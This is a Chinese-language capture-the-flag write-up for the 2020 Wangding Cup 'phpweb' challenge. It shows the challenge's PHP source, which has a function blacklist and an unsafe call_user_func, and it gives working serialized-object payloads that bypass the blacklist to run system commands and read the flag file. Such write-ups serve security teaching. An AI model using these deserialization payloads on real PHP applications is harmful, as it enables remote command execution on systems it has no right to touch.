[网鼎杯 2020 朱雀组]phpweb 解题思路及做法

前言

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题目

打开来是这样的，显示了个报错和时间，感觉没什么提示，抓个包看一下！

发现了func和p参数，内容看起来就像是func为函数，p为参数，可以试试读文件

func=file_get_contents&p=index.php

源码：

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

过滤了一大堆系统函数，但是看到代码关键处有class，可以试试反序列化进行绕过利用

<?php
class Test {
        var $p = "find / -name flag*";
        var $func = "system";
    }
$a=new Test();
print_r(urlencode(serialize($a)));
?>

得到url编码后的序列化字符串

O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A18%3A%22find+%2F±name+flag%2A%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

然后构造查看flag的序列化字符串

<?php
class Test {
        var $p = "cat /tmp/flagoefiu4r93";
        var $func = "system";
    }
$a=new Test();
print_r(urlencode(serialize($a)));
?>

得到

O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A22%3A%22cat+%2Ftmp%2Fflagoefiu4r93%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D